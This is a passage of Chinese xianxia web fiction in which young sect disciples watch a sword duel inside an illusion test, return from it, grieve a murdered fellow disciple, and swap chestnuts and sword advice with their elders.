话音未落,人已疾进。她的身影在雨水中呈现出一道清晰的线,手中裁冰疾刺,却并非一剑,而是刹那间点出七处,分取江却眉心、咽喉、心口等要害,剑尖精准至极,冰寒剑气未至,已刺得人皮肤生疼。 江却不闪不避,破钧由下而上猛地撩起,悍然撞上那七点寒星。 轰! 冰屑与罡气四溅,冰冷的剑气与破坏性的力量剧烈冲撞,将方圆十丈内的雨水尽数蒸发! 任嵩华的剑被这蛮横的力量撞得微微一偏,但她手腕一转,剑势借力旋转,如冰蝶穿花,第二剑已无声无息地抹向江却腰肋。这一剑更狠、更急,剑身上的寒冰之气大盛,周遭的空气仿佛都要被冻结。 江却回剑格挡,破钧沉重的剑身恰好封住裁冰的薄刃。 铿! 刺耳的交击声炸响。一股极寒之气顺着手臂蜿蜒而上,江却手臂瞬间覆盖上一层白霜,动作也因此微微一滞。 就是这一滞! 瞬息之间,任嵩华第三剑紧随而至。她身随剑走,人剑几乎化为一体,一道凝练到极致的冰线直刺江却因格挡而露出的空门——心口要害! 这一剑,将快、准、狠诠释到了极致,无情无念,唯有终结。 危机时刻,江却眼中却无惧意,他对这一剑置若罔闻,左脚猛地踏碎地面,全身力量灌注于破钧之上,那重剑发出沉闷的咆哮,带着一股足以崩山裂石的毁灭性力量,以最直接、最狂猛的姿态,拦腰横斩向任嵩华! 任嵩华柳眉微蹙,抬手以剑尖轻点破钧袭来的厚重剑身,一点寒冰绽开,借此力道翩然倒飞而出,如冰羽飘落,轻盈地卸去巨力。 两人再次拉开距离。 擂台下众人的喝彩声仍在激昂时,江却已退后一步,将剑收了起来:“多谢任师姐指点。” 任嵩华利落地挽了个剑花,对他微微颔首。 “任师姐赢了?”闻越从观礼席上站起身,方才两人的架势看起来像是要比个你死我活,他还以为不会这么快结束。 不过点到即止也好,毕竟都是自家人,受了伤还对之后的比试不利,那就得不偿失了。 擂台上的比试不会立刻出结果,负责的长老们会在反复观看水镜中保留的影像后,统一给出商讨后的结论。 虽然比试开始前仍在嚷嚷这样的安排不公平,但结束后,闻越也确实觉得方才很是享了一番眼福,见两位师兄师姐都没受什么伤,一时放松下来,坐回原地悠闲地四处打量起来。 不远处观礼席中的四位少年映入眼帘。 “师姐,”闻越回头看向连映,“那是你先前提起的师妹吗?” **** 仙门大比的场地格局有些像是古罗马的斗兽场,不过观礼席看似露天,实则另有阵法遮挡,方才他们在席间并未淋到雨。 关云铮最初还有闲心询问谭一筠是否也会这样的挡雨阵法,可等到擂台之上的两人打起来之后,她便分不出心思干别的事了。 实在是……太精彩了。 截然不同的出招,截然不同的剑法,甚至她隐约窥见了二人……截然不同的心境。 若说江却的剑法重在“破”,是厚重的,锐利的,那么任嵩华的剑法便重在“点”,是轻盈的,同时不失力道的。 毕竟同样的力道施加在不同的面积之上,造成的伤害也是不同的——受力面积越小,压强越大什么的。 不难看出二人对彼此的剑法其实并不熟悉,都是到了擂台之上临时见招拆招,而非早有准备,就连任嵩华方才,也有一两次露出了没有防备的姿态。 “他们是同门?”关云铮忍不住扭头看向楚悯和谭一筠,这两位对仙门知识了解更多的同伴。 “二人皆是归墟弟子,”谭一筠点了点头,“只不过任嵩华常年待在来去峰上,很少与其他同门一起修炼。” 难怪这么不熟悉。 “她应当还是归墟唯一一个无情道。”楚悯接话道。 参与大比的名单上只写了任嵩华是随章存舒一起来的,没写明她个人所修之道,关云铮先前还默认她也是苍生道。 “倒是挺稀罕的,苍生道和无情道,不正好是对立的道心吗?”叶泯问道,“毕竟苍生道应当是有情道啊。” 关云铮嗑了一小把松子:“那不还有说法是,对苍生有情便是对自己无情吗,怎么不算是无情道?” 叶泯差点被她说服:“那无情道是对自己和天下人都无情,应当依旧是对立的。” “都聊到这种程度了?”一道陌生的声音响起,“我怎么不知道我们和无情道是对立的?” 四人齐齐被吓了一跳,手里的松子洒了一地。 闻越弯了弯眼睛,对四人友好地笑了笑:“在下归墟苍生道闻越,受师父师姐所托,来给几位送点零嘴。” 他变戏法似的从乾坤袋中拿出了好几样东西,其中竟有半数以上的吃食关云铮都没见过。 一股点心的清甜味散开,关云铮忍不住想:苍生道的伙食想必很好吧…… “这个是荷花酥,里头的馅料是去了莲心的莲子做的。”闻越又从乾坤袋里掏出一摞碟子,将点心放在碟子上,“这个是桂花糕,外头揉了些干桂花进去,里头的馅料是桂花蜜调的,季节所限,没有新鲜桂花,不然味道会更好些。” “这个是咸口的,这个是……”闻越叽里咕噜地介绍完,最后从乾坤袋里捧出一壶茶和一套茶具,“这是桂花茶,省得待会儿噎着了。大家快吃吧。” 叶泯已经看呆了:“闻……师兄,你的乾坤袋里究竟有多少东西?” 闻越拍了拍胸口那个看不出深浅的小袋子:“应有尽有,想吃什么都能给你找来放进去。” 关云铮大受震撼,又有点拘谨:“你不吃吗?” 闻越在她身后坐下:“我来陪你们聊聊天。” 简直没见过这么自来熟的……但是他这样笑盈盈的,看着又和他们差不多年纪,好像也反感不起来。 “那日你醒后,师姐将你落下的药瓶给你了对吧?”闻越从关云铮放在一边的袋子里摸了点松子仁,一边嗑一边问道。 关云铮咬了口桂花糕,闻言点了点头。 闻越若有所思:“那是兰长老给你的吗?” 关云铮当时也没仔细看,但给她药瓶的大约也只能是兰长老了,因此不太确定地说道:“大概是吧?怎么了,有什么问题?” 闻越朝她露出一个称得上灿烂的笑:“没有,只是师姐提起了,我有些好奇。” 他问完了关云铮,又将目光投向楚悯,见她拿了第二块莲子酥,便轻声说道:“其他的不尝尝吗?还是觉得莲子酥更好吃?” 楚悯眨了眨眼睛:“莲子酥……不太甜。” 闻越被她逗笑了:“好,我记下了。” 这话反而让楚悯不明所以:记下什么?难道他日后也要给他们带吃食吗? 叶泯正给灵犀投喂糕点,闻越好奇地凑过来看了会儿:“它喜欢吃哪个?” 灵犀抬起脑袋看了他这分外自来熟的人一眼,慢悠悠地从叶泯腕上游下来,自己叼走了一小块枣糕。 “喜欢这个?”闻越又露出了那种“我记下了”的神情。 这期间谭一筠始终沉默着没说话,闻越到他身后时竟也一时没开口,过了好半晌才问了他一个问题:“如果有人知道你心绪不佳,编织出一场幻境来讨你欢心,你会沉溺其中,还是会尽快脱身?” 四人皆没料着这样一个深沉的话题,一时之间喝茶的、吃点心的都停了手,若有所思地向他看过来。 谭一筠皱起眉头:“此话何意?” 闻越坐在四人身后,对上四人视线:“你们待得太久了,该回来了。” 130-135 第131章 这一次没有人在幻境中突破自己的原有境界, 幻境的入口平稳运行了一回,但四人出来时形容还是有些狼狈,没有一个是自己迈出来的, 甚至由于挨得太近, 险些脚下拌蒜地摔作一团。 关云铮差点左脚绊右脚给入口站着的章存舒拜个早年,下意识用手中的摇羽往地上一撑才站住了脚, 还不忘扶了一把身边的楚悯。 随后便听到另一侧“哎哟”一声, 没人搀扶的谭一筠和叶泯摔成了一团。 子不语及时悬浮而起,灵犀更是以迅雷不及掩耳之势窜了出去,以免被两人压成一滩。法器和灵兽弃主而逃的速度快得令人瞠目,两个少年只好在章存舒的注视下异口同声地打了个哈哈:“章先生。” 关云铮正凑在楚悯身边小声说话:“没有不舒服吧?身上疼吗?” “没有……”楚悯下意识顺着关云铮的话将自己看了一遍,仍旧没想明白她为何这样问,只好问道, “怎么了?” 关云铮眼睛亮晶晶的:“破妄也算境界突破吧,真的不难受吗?” 坐在地上的谭一筠闻言赶紧爬起来, 叶泯站起身之前不计前嫌地将手腕伸给一旁盘着的灵犀:“这倒是,不过我学艺不精, 看不出来, 要不去找苏修士看看?” 章存舒笑眯眯地看他们七嘴八舌地说完,这才开口说道:“苏修士今日不在山上,明日再问吧。” 楚悯倒是不急, 毕竟幻境中的一切更像是一场无比真实的梦境, 而大梦初醒时总会对自己梦中的记忆有些恍惚,她还需一些时间梳理在幻境中的心得。 兴许是将隐始终在识海中运作的关系,关云铮整理幻境记忆的速度非常快,同伴们还没缓过神来,她已经又看向了叶泯:“之前就听小悯说你口才了得, 来归墟之后却没见识过,这次在幻境中终于发挥正常水平了?” 低情商表达:很会怼人,高情商表达:口才了得。 叶泯顿时想起自己在幻境中都说了些什么,一想到章存舒也在水镜中看完了他们在翠屏山经历的所有事,瞬息之间变成了一个锯嘴葫芦,耳朵都憋红了。 关云铮调侃完同伴,又想起些什么,稍稍正色,原本向着谭一筠方向的身子也转了回来,看向章存舒说道:“师父,方才那是你吧?” 让他们回来的那个“闻越”。 章存舒挑眉:“这么明显?” 见他承认,关云铮瞬间变脸:“我就说有种被人提着脖颈丢出来的感觉,也是师父你干的吧?” 章存舒立马露出“大意了”的神色。 楚悯被师徒俩这一来一回逗笑了:“我们在幻境中大约过了一月余,外面过去多久了?” 真闻越不知从哪冒出来的,在章存舒身后探出半个身子:“两日了。” 一场考试持续了两天,还真是过去挺久了。 “不过怎么好像不太饿?”关云铮感受了一下自己的肚子,“两日过去了,按说该饿了吧?” 像是积极响应号召一般,她话音刚落,四人的肚子便一同发出了阵阵饥肠辘辘的咕噜声。 闻越了然地摊开双手:“这不就饿了?” **** 虽说四人都饿得能吃好几碗饭,但毕竟身体是实打实饿了两天,饱一顿饿一顿倒容易伤身。李演也早有准备,做的饭菜分量并不多,刚好能让他们吃个七分饱。 “师兄,你乾坤袋里真有那么多吃的吗?”关云铮将摞起来的空碟子递给李演,又看向闻越。 闻越自然知道她指的是什么,坦言道:“没有,那都是出远门才会带的,毕竟那么多的吃食,光是保存就要花好些灵气,师父才不会给我这样的阵法呢。他说若是给我阵法,我会趁机越塞越多,路上一路偷吃。” ……倒是挺了解闻越的。 “其实我倒也没那么馋,”闻越十分没有说服力地为自己辩解,“翠屏山大比那年是我初入师门没多久,还没见过这么大的场合,又觉得看人比试不能少了点心茶水,便多塞了些。” 那时自家的农庄和酒楼接到他的吩咐还以为他在青镜山上没饭吃,险些当大事禀报给他大哥。还好他大哥早就知道他要出远门,轻描淡写地用一句“舍弟馋瘾犯了,劳烦诸位准备”给安抚回去了。 “除了大师兄和任师姐的比试,还有什么好看的吗?”关云铮只看了一场精彩的就被师父提溜着后脖颈丢出来了,对后面的事怪好奇的。 “倒是有,只不过都不是剑修对剑修了,有一场是两个音修比试,我记得好像召来了一群白鹤绕着擂台盘旋不去。虽然听不懂,但那场面还真是震撼人心。”闻越回忆着说。 叶泯作为半个尚未定性的音修,听到此处来了兴致:“用的什么乐器?可是我灵兽派人?” 闻越有些想不起来了,扭头看向不远处的连映:“师姐,当年那两个音修都是什么门派什么乐器来着?” 连映若有所思:“一个是吹箫的散修,一个是……吹笛子的灵兽派?” 叶泯眉心不由自主地一跳:“吹笛子的灵兽派?姓叶?” 闻越颇感兴趣地挑起眉头:“你哥哥?” 叶泯神情恍惚:“我派中人大多不爱与外界往来,我们这一辈偶尔外出的只有我们兄弟二人,鹧鸪山中的灵兽大多并不受笛音驱使,故而也无几人修的笛子,这样一来……” 只能是他哥哥了。 他哥哥竟然参加过仙门大比?他为何对此事一无所知? “看来我们确实是变数。”经常冷不丁发言的楚悯说道,“我印象中,翠屏山筹办仙门大比那一年,天问也不曾参与,因为门中发生了一些变故。” 天问建派以来最为天赋异禀的楚泽榕死了,整个天问遭受重创,那一年对外几乎没有什么往来,连身为掌门的楚泽枫都闭门不出,谢绝了所有外客。 楚泽榕是她的叔父。 谭一筠似乎也有话想说,但犹豫片刻又把话咽了下去,端起一旁的碗喝了口饭后甜汤。 但不用他开口,在座三人其实都明白他想说什么。 翠屏山大比时关云铮尚未入师门,但在幻境中却结识了未来的师兄师姐,观摩了心心念念的比试;叶泯不知出于什么原因未曾参与大比,幻境中却来到了翠屏山,虽然仍未看到他哥哥的比试,但终于得知了过去曾发生过的事。 至于谭一筠…… 早在初次幻境考核之前,章存舒和步雁山便告知过,幻境会随着身处其中之人的心境变化而变化,既然另外三人都成了“变数”,在有意无意之下实现了某个愿望……那谭一筠的愿望又是什么?他在幻境之中,最迫切要完成的事是什么? 无疑是救下他的外门师弟崔栩铭。 但幻境是假的,关云铮不曾在还没入师门的时候遇到师兄师姐们,楚悯不曾在天问遭受重创时独身远行,叶泯不曾参与那一年的仙门大比。 谭一筠……也不曾救下他的师弟。 闻越这几日都被褚老抓着练习符咒,水镜中的幻境只看了零散的一些画面,对四人骤然间的沉默有些摸不着头脑,正打算开口打破僵硬的氛围,忽然明白了什么,脸上的疑惑也迅速地灰败下去。 谭一筠放下汤碗,轻轻叹了口气:“其实我……没有见到师弟的尸体。” “我知道许多年以前,天道不曾衰颓时,修士们的修为与今日不可同日而语,若是修为被掠夺,身体也会一同消散,散作天地灵气。但师弟他只是个尚未筑基的小修士,为什么连躯体也没有留下? “我当年一直不明白,为什么只是在大比前出了趟远门,回来师弟就不见了。师父被我百般追问,也没有告诉我他到底去哪里了。 “直到在幻境中,我听见叶泯说的那些话。兴许不只是修为,还有血肉或是其他,他们都没有给他剩下,所以他就这样消失了。” 一个活生生的人,灵与肉,全部被掠夺,变成了别人野心的养料,融进了其他肮脏的骨血里,连一抔灰也没有剩下。 关云铮实在没法坐在桌边冷静地听下去了,率先起身离开了饭堂。 幻境会随着他们的心境变化不假,但过去发生的事情,那些最原本的,让他们成为“变数”的事情,都是切实存在的,都被他们亲眼见证了。 崔栩铭是什么样的人,所谓的“炼丹”又要对人做些什么,他们都已经目睹过了。 共同经历了这些,反而不知该如何开口安慰,好像所有的语句都缺乏力道,心中的块垒怎样都无法被冲散填平。 屋外传来了剑气劈开什么物件的声音,或许是关云铮在拿什么东西撒气,又或许只是单纯的怨愤难平,要用练剑来平复。 一片寂静之中,叶泯抬手胡乱抹了一把眼睛。 这世上永远没有真正的感同身受,但至少作为同伴,作为共同经历过某些事的人,他们能表达一些微薄的态度。 楚悯正打算说点什么,忽而对着谭一筠身后微微睁大了眼睛。 谭一筠不明所以地转过头,只见不知何时出现的人伸出的手正好落在他头顶:“你已经做得很好了。” 来人竟是本该远在千里之外的兰珏。 **** “您早就传信给兰长老了。”听见动静的关云铮悄悄回到饭堂门前,正看见这一幕,不由得扭头看向她身后的章存舒。 关云铮方才起身虽快,但其实还是掉了眼泪,此刻说话的声音里都残存着哽咽,却又不得不压得更低声些:“此次幻境是您和兰长老一同布置的吧?” 章存舒从乾坤袋里摸出一张帕子:“怎么又用‘您’了,这语气是挖苦我还是夸赞我呢?” 关云铮接过帕子擦眼泪,面无表情地朝他翻了个白眼。 两人总不能一直杵这听墙角,章存舒领着徒弟往外走:“兰珏一直对此事颇有歉疚,那阵子仙门大比太忙,很多琐事压在她肩上,安排小筠出远门也是为了此事。内外门之间的隔阂实在是太宽大了,宽大到她一回头,才发现早已看不清蔺长老走远的脚步了。” “那崔师弟的……”关云铮本想丢掉帕子撒气,但帕子一角明显是师姐绣的花,又颇具存在感地用细密的针脚摩挲着她的手心,只好将帕子牢牢捏在手里。 “其实并没有用血肉炼丹的邪派丹修。”章存舒忽然说道,“现实中的蔺长老并未与他们合作,崔栩铭的尸体是因为没有修为的温养,急速腐烂,才什么都没有留下。” “骸骨呢?也没有吗?”关云铮追问。 “被兰珏安葬了。”章存舒答道。 “那为什么不告诉谭一筠?”关云铮还是没忍住又一句的追问。 “看着自己的师弟肉身逐渐腐烂到只剩白骨,和回来便被告知师弟被人谋害什么也没剩下,哪样更容易接受?”章存舒不答反问道。 “哪样都难以接受。”关云铮说道。 章存舒摸了摸她的脑袋,又点了点头:“想必兰长老也是这样想的,所以她自己做了决定,将崔栩铭朽烂的尸身埋葬了。” 仇恨是一种很可怕的情绪,它像一种寄生的藤蔓,又如跗骨之蛆,在不知不觉中侵蚀掉树木的枝干,啃啮人的躯干,将树木和人变得面目全非。 一旦仇恨有了某个特定的对象,某个现实的锚点,它便会如同汲取了养分的藤蔓、啃食了血肉的蛆虫,在无数个日夜之中飞速成长起来,一步步蚕食树的生命、人的理智。 而兰珏自作主张,将那个锚点永远地抹去了。 “或许某一天,兰长老会将此事告诉谭一筠吗?”关云铮忍不住回望那间总是飘出饭香的屋子。 章存舒也顺着她的目光看回去:“不会有那一天的。” 兰珏此人,一旦下定了决心要做某件事,毁也好,誉也罢,都不在她的考量之中。 关云铮有点郁闷:“那师父为什么要告诉我?我可不是什么守口如瓶的人。”听完这些心口都快闷死了,她简直想骂人。 章存舒笑眯眯地低头看她:“你不是吗?” 关云铮龇牙咧嘴的:“我是个鬼。” 章存舒还没听她说过这样的话,脸上的神色一时很惊奇:“你分明是人。” 关云铮不堪其扰地往回走:“你是鬼行了吧,师父是鬼。” 章存舒无可无不可地点点头:“也行。” 失去了所有的力气和手段的关云铮:“……”—— 作者有话说:本来的计划是明天更(也就是隔两日更6k),结果昨天被生理期击垮了,其实今天腰痛得也快断掉了,但是今天手感出乎意料地好,干脆就当做是隔日更4k吧,就是晚了点。 祝大家能够拥有不痛经不腰痛不口腔溃疡不胸痛的生理期(太痛了。) 第132章 接受集中教习的弟子众多, 结束幻境考核的时间也各不相同,关云铮四人受到章存舒的“特殊对待”,在幻境中待了最久, 等到吃饱喝足, 情绪也调节得差不多,才发现其他同窗早就已经放了一天的假了。 走出幻境才发现只有自己头顶在下雨, 哈哈。 虽然在心里蛐蛐了这么一句, 但关云铮也明白,章存舒特意为他们布设的幻境确实很对症下药,在里面待了整整两日,自然也不是虚度光阴。 不说别的,单就论当初蒲飞鸢针对他们四人存在问题下的结论,如今便已经被颠覆了不少。 她说关云铮出剑时不够果决, 幻境中一月过去,她出剑的速度几乎做到了手比眼快, 长久下去,必然逐渐成为身体本能。 她说楚悯做事太过循规蹈矩, 结果楚悯在幻境中几乎就没起过卦, 全都是身随“律”动,听见“律”说了什么便如何行动。虽然“律”某种意义上也是种“卦象”,但“律”无需卜算, 本来就存在, 也便没有必要深思熟虑,只需随心而为。 她说谭一筠太过优柔寡断……看过幻境记忆的人,如今想必只会觉得他在必要时刻几乎像个杀星,哪有什么优柔寡断的影子。想来只是觉得动嘴皮子能够解决的事不必动手,没被触及底线便能得过且过罢了, 没什么大问题,分得清轻重缓急就行。 至于学艺看起来最稀松平常的叶泯,被蒲飞鸢评价为“不够自信”后,也在逐渐摆脱谨小慎微的言行风格。不知是来到了陌生环境太过拘谨,还是陌生环境激发了他的不自信,总之经过幻境中的日子,这一“症状”得到了相当程度的缓解,想必很快便能“痊愈”了。 妙手回春啊师父! 不过有个问题关云铮倒是好奇很久了。 “其他人的幻境是什么样?”她看向章存舒。 方才还被她在心中称作神医的人没骨头似的靠在桌边,垂眼剥着山下农庄送上来的栗子,说出口的话也很没有师父的样子:“问掌门。” 神医的形象霎时烟消云散,关云铮忍住了自己短时间内的第二个白眼,十分尊师重道地憋回了吐槽:“正好,我打算去找任师姐,希望掌门也在来去峰上,这样也不用再跑一趟了。” 章存舒“嗯”了声,朝她挥了挥手,送别似的:“去吧,多探讨。” 再度失去力气和手段的关云铮叹了口气,揣上摇羽走了。 谭一筠也被自己师父领走开导了,偌大饭堂只剩下背井离乡的楚悯和叶泯,坐在原地面面相觑。 “原本这次幻境过后,你们都该回家一趟。”看似在走神的章存舒忽而开口,“只不过原本下月便要停一段时日的教习,让你们归家休整,所以此次回不回全看你们的意思,若是要回,我派灵舟。” 楚悯率先摇了摇头。 叔父的逝去永远是她的遗憾,这不假,哪怕身处幻境,她也总想对此事做出点力所能及的改变。但修仙之人也依旧是人,修为散尽,躯体腐朽,就算是起死回生,恐怕也不是原来的那个人了。 故而也没什么好回去的,若是坦言自己在幻境中经历的一切,少不得要被兄长啰嗦好几日,她着实吃不消。 叶泯也摇了摇头:“不差这十几日。” 他也需要些日子来整理一番自己在幻境中的所见所得,还是晚一些见到哥哥为好。 章存舒三言两语对付完了几位少年的问话,优哉游哉地从座位上站起身:“既然没什么要追问的,我便先开溜了。” **** 来去峰上任人来去,关云铮御剑落地时,竟还见着了久未谋面的凌风起。 到底是长辈,先前还给了她那么多治伤的灵药,关云铮收剑入鞘,恭敬地行了个礼:“师伯。” 凌风起“嗯”了声,神情平淡地御剑走了。 过往他见了师父这些徒弟,少不得吹胡子瞪眼地挖苦几句,关云铮难得见他如此鼻子是鼻子眼是眼,几乎有些不适应,见了步雁山从屋里出来,连忙问道:“小师叔,师伯方才去山顶了?” 见过戚师叔才能有这样好的脾气吧? 步雁山先是无奈地纠正了一遍:“怎么又叫我小师叔,”接着才说道,“未曾去过,怎么忽然这样问?” 关云铮抱着剑陷入思索:“那他对我这么和颜悦色,不应该啊?” 步雁山失笑:“你又没做错事,难道不该对如此?”不过他显然比关云铮更清楚自己这位大师兄往日里都是什么脾气,说完这话后又解释了一句,“应当是看了你在幻境中的经历,故而对你宽和了些。” 关云铮更茫然了:“幻境?我在幻境中做了什么让他特别顺眼的事?” 她不由得把已经拎得很清楚的时间线又在脑海中理了一遍,还是没能发现什么端倪,脸上的茫然简直快要结出实质了。 “我倒是听师兄说起过,你在幻境中救治崔栩铭时拿出了好些药瓶,其中有一个是先前大师兄给你的,兴许是被你顺手放入了乾坤袋中,在幻境中便被拿了出来。” 药瓶…… 关云铮忽地想起些什么:“难怪在幻境中我总觉得兰长老给的药瓶有些熟悉,原来那也是师伯炼的?” 步雁山颔首:“大师兄性子古怪,平日炼了什么样的丹药也不爱同我们说,只会每过一段时间送上几瓶放在门口,贴上纸条写上功效,但心里其实是很想看到,我们将他炼的药随身带着的。” 无意之中做了一回贴心小棉袄,关云铮顿时起了一身鸡皮疙瘩:“噫……要不他还是对我急言令色些吧。” 步雁山笑着摇摇头:“还没问你,上来去峰做什么?” “我来请教任师姐,也有问题想问小师叔。”关云铮乖巧道。 她自打开始叫“小师叔”,就没打算再改口,步雁山虽觉得自己过了被称作“小”的年纪,十分想纠正这一称呼,但毕竟也不是真的在意,索性随她去了,顺着她的话问道:“什么问题?” “我和同伴四人的幻境主要是师父布设的,同窗们的应是小师叔你设下的吧?里面也像我们所经历的幻境一般,是具体发生过或正在发生的事吗?”关云铮跟随步雁山的脚步,在屋里火炉边坐下。 来去峰高耸在护山大阵的庇护之外,初冬时节,山上冷得哈气成雾,虽校服里缝了恒温的符咒,但被冷风吹了这么一会儿,关云铮的双颊已是冰凉,坐在火炉边才勉强获得一些知觉。 “要看他们想经历怎样的幻境。”步雁山给她倒了一杯茶。 没闻出是什么茶,关云铮捧着茶盏嗅了嗅,又忍不住吹了吹热气氤氲的表面:“若是他们想功成名就,幻境里会是成功前,还是成功后呢?” 很难说这两种情况中哪一种对人的影响更深。 得到了成功之后,人往往很难满足,会不停追求下一次的成功,直到被人生狠狠地绊倒,才明白成功并不是人生的主旋律;而尚未成功的人,则可能会抓住机会不择手段,一生都奔走在通往成功的路上。 这些人的幻境会是什么模样?怎么好像哪一种都不太适合作为考场的样子? 步雁山不知从哪拿出一堆栗子,扫了几颗进火里烤,又顺手把火炉口盖上以免火花迸溅:“这些幻境可无法让他们功成名就,顶多填补些遗憾罢了,但那也是假的。” 他仿佛没意识到自己说了些多残忍的话,神色平淡地喝了一口茶:“采取幻境这样的修炼方式,只是为了让你们在尚未察觉幻境时,体验到实战的感觉,同时又避免了真实的伤害,并不是真的能让缺憾圆满。” “如果真有缺憾,也该在现实中弥补,而非幻境,您是这个意思吧?”关云铮捧着茶盏问道。 “自然,若是幻境尽善尽美,那不是考核,是骗局。”步雁山话音刚落,火炉中劈啪作响,不停传来栗子壳被火烤得开裂的声音,驱散了两人之间略带沉重的氛围。 关云铮只见过炒好的栗子,没见过带壳现烤的,有些好奇,但又觉得靠近了指不定被崩一脸火星子,谨慎地坐在原地没动。 “上次吃栗子都是好些年前了,这是小越家中农庄送来的吧?前两年没见,想是树已种下了,但还未开始结果?”步雁山拎起炉盖看了眼,大概是还没闻到香气,随手又盖了回去。 关云铮上次去农庄大约只见了不到一半的景致,栗子树的叶子都没见着一片,对此十分茫然,只能老实地摇摇头。 虽然以前她总嚷嚷着要跟有钱人拼命,但有钱人家的好东西太多了,吃得人两眼昏昏,也想不起拼命的事了。 可恶,被资本收买了。 “幻境由心而生,要想知道你同窗们的幻境,最好还是观察他们平日的行事作风,结论来得更稳固些。”步雁山建议道。 关云铮果断地摇了摇头:“我也没那么想知道。” 她连同窗长什么样叫什么名字都不清楚,还观察行事作风? 拉倒吧还是。 “不是说要找嵩华?”不知步雁山是以什么为依据判断的栗子状态,只见他打开火炉将几颗栗子取出来,又隔空将壳剥了,拿过一个茶盏放入滚烫的栗子仁,“她在练剑台,也不知吃不吃栗子,分她两个吧。” **** 来去峰顶风声呼啸。 关云铮从摇羽上跳下来,捧着还热着的一茶盏栗子仁一路小跑:“任师姐!” 凛冽的剑气顿时被收得一干二净,任嵩华将裁冰往鞘中一收:“何事?” 关云铮把冒着热气的栗子仁往她面前一递:“烤栗子,吃吗?” 任嵩华的表情顿时变得有些空白:“烤栗子?” 关云铮用食指试探了一下温度,确认还是有些烫后老实了:“掌门方才烤的,让我拿上来跟你一起吃,有点烫。” 任嵩华“嗯”了一声,领着她在一旁的台阶上坐下,率先从茶盏中拿了一颗:“是有些烫,你多小心。” 她垂眼将栗子仁掰成两半,缝隙一裂开,热度便倏地散去大半。 关云铮看她将半颗栗子放进嘴里,捧着茶盏好奇:“好吃吗?” 任嵩华点了点头:“尚可,甜味有些淡。” 关云铮把茶盏放在膝头,自己也掰了一颗:“放得不够久嘛,之后我下山去再带些上来,放一阵子就能变甜了,到时做糖炒栗子给任师姐吃。” “糖炒栗子?”任嵩华侧眸看她。 她刚转过脸,手里便被关云铮塞了一颗掰开的栗子仁:“是啊,糖炒栗子特别香,比烤的还要香许多,到时任师姐就知道了。” 茶盏毕竟体积有限,虽然栗子普遍个头不大,但也装不下多少颗,两人在寒风中把几颗栗子分着吃完,关云铮才提起自己此行的正事:“任师姐,此次幻境中,我见过了你和大师兄的初次比试,有个问题想要向你请教。” 任嵩华拍掉掌心的碎屑:“嗯。” “大师兄的剑看起来比你的剑要沉许多,但在比试中你却有一两次压制了他的攻势,是单纯的以气力取胜,还是有其他我看不出的技巧呢?” 任嵩华似乎回忆了一番那场比试时的细节,随后才说道:“再坚硬的东西,都会有薄弱的部位。” 啊,这倒是很好理解,就像鲁伯特之泪,头部再坚硬,从脆弱的尾部击打,也能将其摧毁。 “但对于用剑之人的剑来说,脆弱的部位并非恒久不变,不同的招式中自有不同的脆弱之处。”任嵩华补充道,说罢忽然站起身,毫无预兆地使了几个剑招,“譬如方才的第一式,由于逆着手腕的惯用力方向,向斜上用力,故而腕处实则较为紧绷,剑的脆弱之处便在靠近腕处,此时若用力击中此处,攻其不备,或可使对方佩剑脱手。” “第二式向前疾刺,剑势击中在刃上,手臂需平稳有力,才能维持攻势,此时若攻肘、肩两处,卸其力道,也能使剑脱手。对于此一招而言,弱点便不在剑上,而在人上。”任嵩华解释完,将方才压根没出鞘的裁冰放在一边,再度在关云铮身侧坐下来,“剑毕竟并非身体的一部分,要想无懈可击,只能将其使用的方法牢牢铭记于心,所有的剑招、剑诀,都只是让你更熟悉手中这把剑的方式。” 关云铮敏锐地意识到,任嵩华似乎又在用那种模仿口吻的方式说话了,如此看来,或许这些话,许久以前的戚寻月也曾对她说过? “你的剑是章先生给你在剑冢里寻的,或许并不十分趁手,大可多寻几把更顺应心意的武器,不必急于破他人招式。”像是为了验证关云铮的猜想,任嵩华说这话时又变回了往日里平淡的语气。 关云铮听得连连点头:“我明白了,多谢任师姐指点。” **** 关云铮答应得轻松,结果回苍生道的路上,作为她现任佩剑的摇羽闹起了脾气:“虽然你任师姐剑技非凡,在剑道上给出的建议也算值得听取,但她撺掇你换武器是什么意思,我还没死呢!” “我也没说要换你啊?”关云铮颇觉好笑,“我只是打算再找一把武器而已,没打算把你换掉。” “你要那么多武器做什么?左手也会使剑了?”摇羽不解。 “我在幻境里伸手夺刀你还记得吧?”关云铮一边御剑往苍生道院飞,一边问道,“虽然那把刀是短刀,也显然不是蔺长老的惯用刀,但我拿到手后莫名有种亲切感。” “亲切?”摇羽的嗓子听起来像差点劈了,“你的意思是,你可能更习惯使刀?” “那倒是还没有得出这种结论。”关云铮坦言,“就是觉得无端顺手,所以我打算待会儿下山看看,这究竟是不是我的错觉。” “那你现在回苍生道做什么?”明明可以直接下山,反正章存舒对自己的徒弟从来不施加管束,更别说她刚从幻境出来,这两日不必修习,就是要去山下野一天,章存舒怕是都不会说什么。 关云铮理直气壮:“此去少不得麻烦那山下工匠,万一他闹脾气了,不得先借点师父的面子用用?” 摇羽失语片刻:“你要不干脆把你师父带下山吧,这样比较方便。” “那多不自在,我还打算喊上小悯他们一起去呢。”来去峰虽高,但来回多次有了经验,关云铮很快操纵着摇羽稳稳落了地,因为还在同剑灵说话,暂时没把剑收回鞘中,往苍生道院走的路上接着说道,“上次叶泯和谭一筠不也没去过农庄吗,顺便跟师兄说一声,去农庄蹭个饭。” 说师兄师兄到,闻越不知从哪窜出来的,见了她便兴高采烈地问道:“要下山?带我一个呗?” 关云铮原本都要顺着他的话点头应下了,忽然察觉到哪里不对,狐疑地看向他:“师兄,你看着很心虚。” 闻越脸上那点伪装出来的兴高采烈飞快地灰败下去:“你怎么这都看得出来?” 关云铮茫然:“我方才是诈你的。” 闻越:“……” 总之装不下去了,闻越索性坦白道:“这几日褚老不是一直抓着我练习符咒吗,我大哥不知从哪儿知道的此事,让我这段时间好好修习,不准我下山。” 关云铮挑眉:“那你还让我带你去?” 闻越苦着一张脸:“我也好久没去农庄了……” 关云铮怜悯地拍了拍他的肩膀:“想吃什么,我给你带回来。” 闻越伤心欲绝地摇摇头,自顾自走了。 还有什么比不让吃货解馋更残忍的呢? 关云铮也摇了摇头,去饭堂找师父了。 **** “闻师兄家中的农庄?什么模样?”四人下山路上,叶泯忍不住好奇道。 楚悯也只知道自己去过的那些农户,因此如实说道:“上次去大概未见得全貌,只知有鱼塘,还有荷池,两个池塘并不在一处。还有许多农田和房屋,大约平日能够自给自足。” 